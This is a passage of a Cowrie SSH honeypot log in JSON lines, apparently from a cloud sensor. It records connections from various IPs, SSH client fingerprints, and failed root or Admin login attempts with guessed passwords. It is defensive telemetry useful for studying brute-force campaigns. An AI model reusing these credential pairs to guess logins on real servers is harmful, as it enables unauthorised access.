16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:22.587453Z","src_ip":"62.133.62.83","session":"4c201a85929b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tttttt","message":"login attempt [root/tttttt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:22.824999Z","src_ip":"62.133.62.83","session":"4c201a85929b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:23.907445Z","src_ip":"62.133.62.83","session":"4c201a85929b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":44870,"dst_ip":"10.17.0.5","dst_port":22,"session":"f38a6ff7fdef","protocol":"ssh","message":"New connection: 103.15.222.183:44870 (10.17.0.5:22) [session: f38a6ff7fdef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:25.003285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:25.010171Z","src_ip":"103.15.222.183","session":"f38a6ff7fdef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:25.259243Z","src_ip":"103.15.222.183","session":"f38a6ff7fdef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"purple","message":"login attempt [root/purple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:26.247159Z","src_ip":"103.15.222.183","session":"f38a6ff7fdef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:27.500212Z","src_ip":"103.15.222.183","session":"f38a6ff7fdef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":56064,"dst_ip":"10.17.0.5","dst_port":22,"session":"df40ef9c048f","protocol":"ssh","message":"New connection: 4.184.246.230:56064 (10.17.0.5:22) [session: df40ef9c048f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:37.987346Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:37.992131Z","src_ip":"4.184.246.230","session":"df40ef9c048f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:38.076359Z","src_ip":"4.184.246.230","session":"df40ef9c048f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache123","message":"login attempt [root/apache123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:38.442515Z","src_ip":"4.184.246.230","session":"df40ef9c048f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:39.530967Z","src_ip":"4.184.246.230","session":"df40ef9c048f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34370,"dst_ip":"159.203.135.109","dst_port":22,"session":"a88812dec478","protocol":"ssh","message":"New connection: 51.250.105.222:34370 (159.203.135.109:22) [session: a88812dec478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:42.422231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:42.426587Z","src_ip":"51.250.105.222","session":"a88812dec478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:42.555272Z","src_ip":"51.250.105.222","session":"a88812dec478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"love123","message":"login attempt [root/love123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:42.929473Z","src_ip":"51.250.105.222","session":"a88812dec478","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:44.058499Z","src_ip":"51.250.105.222","session":"a88812dec478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":40998,"dst_ip":"159.203.135.109","dst_port":22,"session":"db544e890d9c","protocol":"ssh","message":"New connection: 94.159.98.239:40998 (159.203.135.109:22) [session: db544e890d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:44.305555Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:44.454920Z","src_ip":"94.159.98.239","session":"db544e890d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:44.458973Z","src_ip":"94.159.98.239","session":"db544e890d9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqwwee","message":"login attempt [root/qqwwee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:45.855030Z","src_ip":"94.159.98.239","session":"db544e890d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:47.202905Z","src_ip":"94.159.98.239","session":"db544e890d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:21:58.347017Z","src_ip":"147.45.211.215","session":"f73ee6045b12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":36732,"dst_ip":"159.203.135.109","dst_port":22,"session":"83e8efe9d2f1","protocol":"ssh","message":"New connection: 193.32.162.151:36732 (159.203.135.109:22) [session: 83e8efe9d2f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:04.937711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:05.053383Z","src_ip":"193.32.162.151","session":"83e8efe9d2f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:05.154129Z","src_ip":"193.32.162.151","session":"83e8efe9d2f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Admin","password":"admin@123","message":"login attempt [Admin/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:05.458883Z","src_ip":"193.32.162.151","session":"83e8efe9d2f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:06.567207Z","src_ip":"193.32.162.151","session":"83e8efe9d2f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":20270,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae1844325d0c","protocol":"ssh","message":"New connection: 194.59.206.2:20270 (159.203.135.109:22) [session: ae1844325d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:15.734535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:15.741090Z","src_ip":"194.59.206.2","session":"ae1844325d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:15.879766Z","src_ip":"194.59.206.2","session":"ae1844325d0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:15.987479Z","src_ip":"194.59.206.2","session":"ae1844325d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":37846,"dst_ip":"10.17.0.5","dst_port":22,"session":"396f291cab76","protocol":"ssh","message":"New connection: 4.184.246.230:37846 (10.17.0.5:22) [session: 396f291cab76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:20.478472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:20.483619Z","src_ip":"4.184.246.230","session":"396f291cab76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:20.572560Z","src_ip":"4.184.246.230","session":"396f291cab76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dany123","message":"login attempt [root/dany123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:20.939355Z","src_ip":"4.184.246.230","session":"396f291cab76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:22.047184Z","src_ip":"4.184.246.230","session":"396f291cab76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.224","src_port":52250,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d883f7c67ca","protocol":"ssh","message":"New connection: 148.153.121.224:52250 (10.17.0.5:22) [session: 4d883f7c67ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.404545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.409833Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:22:26.452670Z","src_ip":"148.153.121.224","session":"4d883f7c67ca","protocol":"ssh"}
